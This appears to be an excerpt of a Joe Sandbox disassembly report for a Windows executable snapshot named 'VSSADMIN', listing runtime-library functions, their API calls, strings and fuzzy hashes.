Part of subcall function 00007FF614C72620: MessageBoxW.USER32 ref: 00007FF614C72730

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77B20

Strings

MultiByteToWideChar, xrefs: 00007FF614C77AAE, 00007FF614C77B31
win32_utils_from_utf8, xrefs: 00007FF614C77AE9
Failed to decode wchar_t from UTF-8, xrefs: 00007FF614C77B2A
Failed to get wchar_t buffer size., xrefs: 00007FF614C77AA7
Out of memory., xrefs: 00007FF614C77AE2

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: ef0c7189470ede6921ef3de76a81d580bff1fc53629992aced72f99ea96e9165
Instruction ID: 717150f64954594f96bb834c5812009267792c145566cc19a8c116bdf769a571
Opcode Fuzzy Hash: ef0c7189470ede6921ef3de76a81d580bff1fc53629992aced72f99ea96e9165
Instruction Fuzzy Hash: 59215526B0CE4292EB50DB19F480069A3B1FB86BE8F584137DB5CC3B69EE2DE5518700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A650 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A65F
FlsGetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A674
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A695
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6C2
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6D3
FlsSetValue.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6E4
SetLastError.KERNEL32(?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F,?,?,?,00007FF614C89343), ref: 00007FF614C8A6FF

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 9603f04e73c1ac35bebd6b74082c40ddb301c2cc90fbe29b07207277116e1379
Instruction ID: 0c761902a80d3848f273854b2926a9bb2ad5779016771e9b17685e10aa081245
Opcode Fuzzy Hash: 9603f04e73c1ac35bebd6b74082c40ddb301c2cc90fbe29b07207277116e1379
Instruction Fuzzy Hash: 10218B24B0CE4342FA58672996C517A62725F4AFB4F180737E93EC77DAEE2DB441A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C9709C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF614C970CD
GetLastError.KERNEL32 ref: 00007FF614C970D9
CloseHandle.KERNEL32 ref: 00007FF614C970F1
CreateFileW.KERNEL32 ref: 00007FF614C9711C
WriteConsoleW.KERNEL32 ref: 00007FF614C9713B

Strings

CONOUT$, xrefs: 00007FF614C970FD

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 8e0e590b76c227ed4e0945dd3cc989df51f43b4687c0318c0d05d3449c58233d
Instruction ID: 342ce6e1e1fb8e72f295e9ca9060615c825662d53de512ff67ff20a91df6bdd1
Opcode Fuzzy Hash: 8e0e590b76c227ed4e0945dd3cc989df51f43b4687c0318c0d05d3449c58233d
Instruction Fuzzy Hash: F7119025B18E8286E7508B56F89432972B0FB89FF8F540236EA5EC77A4DF3ED5148740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A7C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A7D7
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A80D
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A83A
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A84B
FlsSetValue.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A85C
SetLastError.KERNEL32(?,?,?,00007FF614C8447D,?,?,?,?,00007FF614C8DDD7,?,?,00000000,00007FF614C8A8E6,?,?,?), ref: 00007FF614C8A877

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 8dfa007eb70710ac51225e31542f24e155c530b6ee80d7af8a446e0989fc2ffe
Instruction ID: 6c5ca6c08872f62a718d612997aa6df4b715a143c14ce02ef574d144d6167ecd
Opcode Fuzzy Hash: 8dfa007eb70710ac51225e31542f24e155c530b6ee80d7af8a446e0989fc2ffe
Instruction Fuzzy Hash: BF118E24F0CE4742FA18572996C517A21729F47FB0F144336E92EC77D6EE2DE4026710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7C8D8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF614C7C903
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF614C7C998
RtlUnwindEx.KERNEL32 ref: 00007FF614C7C9E7

Strings

f, xrefs: 00007FF614C7C916
csm, xrefs: 00007FF614C7C97E

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 752f63a6eb654042196f5a98f7ed0cc27864ab03d65b16a783a14cfa4978e18e
Instruction ID: a248c42de3bc9d8e642e4a5ab875f693969a78506d1565703df18c64de22cdf8
Opcode Fuzzy Hash: 752f63a6eb654042196f5a98f7ed0cc27864ab03d65b16a783a14cfa4978e18e
Instruction Fuzzy Hash: 9D519132A1DA0387E754CF15E484A2D37A5FB46FAAF508132DA4A87748EF38E941C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF614C7242F), ref: 00007FF614C72278
DialogBoxIndirectParamW.USER32 ref: 00007FF614C7233C
DeleteObject.GDI32 ref: 00007FF614C7236F
DestroyIcon.USER32 ref: 00007FF614C72381

Strings

Unhandled exception in script, xrefs: 00007FF614C722A8

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 4bccdd4631ef4db3dc50da95ea376d441cf7280d9b9e9edacee6198ae8bfc666
Instruction ID: 8d5ede278d034fde43ca452e616bc6d53117661fb95187da014c9fb4eb46146e
Opcode Fuzzy Hash: 4bccdd4631ef4db3dc50da95ea376d441cf7280d9b9e9edacee6198ae8bfc666
Instruction Fuzzy Hash: F031427260CA8299EB24DF65E8951F96370FF8AB94F400136EA4D8BB56DF3DD145C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C72620 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF614C77774,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C72654

Part of subcall function 00007FF614C774E0: GetLastError.KERNEL32(00000000,00007FF614C7269E,?,?,?,?,?,?,?,?,?,?,?,00007FF614C7101D), ref: 00007FF614C77507
Part of subcall function 00007FF614C774E0: FormatMessageW.KERNEL32 ref: 00007FF614C77536

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C72730
MessageBoxA.USER32 ref: 00007FF614C7274C

Strings

%s%s: %s, xrefs: 00007FF614C726AB
Fatal error detected, xrefs: 00007FF614C72706, 00007FF614C7273E

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: 7890d9f144e33e33d69a38586b169397518973d2a5b1a440a20cff3164d3e9e8
Instruction ID: a14333e64394f4d7aec91c6de1b8a0ec33d43a700be5e5ed5aafd33a599e2923
Opcode Fuzzy Hash: 7890d9f144e33e33d69a38586b169397518973d2a5b1a440a20cff3164d3e9e8
Instruction Fuzzy Hash: C131647262CEC292EA309B14E4916EA6374FF85B94F405037E68D83A59DF3DD745CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C88910 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF614C88935
GetProcAddress.KERNEL32 ref: 00007FF614C8894B
FreeLibrary.KERNEL32 ref: 00007FF614C88972

Strings

mscoree.dll, xrefs: 00007FF614C8892C
CorExitProcess, xrefs: 00007FF614C88944

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1edae9836d644cf3f37344bb8067f5d3e72c30a74e7bf89e7e9475504bb25611
Instruction ID: e52832263dd51c3d50f8a8cb14844fbee443b16ab54c14f4669ffdd6260e5c8f
Opcode Fuzzy Hash: 1edae9836d644cf3f37344bb8067f5d3e72c30a74e7bf89e7e9475504bb25611
Instruction Fuzzy Hash: 57F04F65A19E4291EF108B24E48533A5330AF86FB5F540637D56E87AF4DF2ED548C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C987D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF614C987FC
_set_statfp.LIBCMT ref: 00007FF614C98817
_set_statfp.LIBCMT ref: 00007FF614C98833
_set_statfp.LIBCMT ref: 00007FF614C9886F

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: df903f3215afb40246e66390c7a8782672b61de48a1f20f8636c4cf7020c10d8
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: 87119122E38E03E5F6541564D4C237720616F57BFCF140A36EA7E876EACE3EA8418138

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A890 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A8AF
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A8CE
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A8F6
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A907
FlsSetValue.KERNEL32(?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C8A918

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 03277c719d17d560c79db32ac0887211ffe2f08df489d569bf0de2f6ccb26345
Instruction ID: cb55e11e228a2a7467eeab2d25f24b4dd5abe3b95e3ad79e3ee219c0287d43cd
Opcode Fuzzy Hash: 03277c719d17d560c79db32ac0887211ffe2f08df489d569bf0de2f6ccb26345
Instruction Fuzzy Hash: 02113A24F0CE4342FA58936AA5C11BA61725F46FB0F585336E93EC77D6EE2DA442A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8A724 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A735
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A754
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A77C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A78D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF614C92463,?,?,?,00007FF614C8CBBC,?,?,00000000,00007FF614C83A8F), ref: 00007FF614C8A79E

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e5b2f5253a305bcc5ca3be95ebd57ba54efab24c1a16ac20d661c62881fac6f9
Instruction ID: 0194e0d27ffd21c3f8c13ecddd487f401db385377c681af90af8ba56de308296
Opcode Fuzzy Hash: e5b2f5253a305bcc5ca3be95ebd57ba54efab24c1a16ac20d661c62881fac6f9
Instruction Fuzzy Hash: 6C11B728A0DE0342F958A63958D55BA21B24F47F74F180736E93ECB2D3ED2DB442B751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8F1C8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C8F4A7

Part of subcall function 00007FF614C954A4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C954C1

Strings

UTF-16LEUNICODE, xrefs: 00007FF614C8F445
ccs, xrefs: 00007FF614C8F3E2
UTF-8, xrefs: 00007FF614C8F426

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 04f77fab494744c2c515884d2b3c345e4279dac145e4d051e3529eeeffec7512
Instruction ID: aa3a720b874d36c084131063d99b8c27c6138291c7ad935d2146308197c8cf15
Opcode Fuzzy Hash: 04f77fab494744c2c515884d2b3c345e4279dac145e4d051e3529eeeffec7512
Instruction Fuzzy Hash: 65819C76E0CA5385F7A58E2981F027826B0AB57FA8F558037CB0AD7295DF2DF901A701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7E138 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF614C7E184
_CallSETranslator.LIBVCRUNTIME ref: 00007FF614C7E1D3

Strings

MOC, xrefs: 00007FF614C7E198
RCC, xrefs: 00007FF614C7E1A1

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 6cf636c1d413b9b1a8fe847baa594964b2e94e970a9ab49fc3c7a486a408bf4b
Instruction ID: 7708ddf7471669cd0a157c1e602e52a9422c251f8d813d077829149fa74f7ee6
Opcode Fuzzy Hash: 6cf636c1d413b9b1a8fe847baa594964b2e94e970a9ab49fc3c7a486a408bf4b
Instruction Fuzzy Hash: CC614937A08A858AEB10CF65D4812AD77B0FB46BA9F044226EF4D57B99CF38E155CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7E494 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF614C7E4BC
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF614C7E5A4

Strings

csm, xrefs: 00007FF614C7E4DE
csm, xrefs: 00007FF614C7E5F6

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 15a90b008ee0b5328ce42465ae6c6f27eb603fbbd906650bc51354757df09ebd
Instruction ID: 016219f5bc2cb5ea05b40b06f03e317a7a95fdaf72173b25056b4d9c293bcfaf
Opcode Fuzzy Hash: 15a90b008ee0b5328ce42465ae6c6f27eb603fbbd906650bc51354757df09ebd
Instruction Fuzzy Hash: 50517A3390CA8687EA648F1595C43697BB0FB56FBAF144136DA9C87A95CF3CE4518B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C724D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

MessageBoxW.USER32 ref: 00007FF614C725DB
MessageBoxA.USER32 ref: 00007FF614C725F7

Strings

%s%s: %s, xrefs: 00007FF614C72556
Fatal error detected, xrefs: 00007FF614C725B1, 00007FF614C725E9

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Fatal error detected
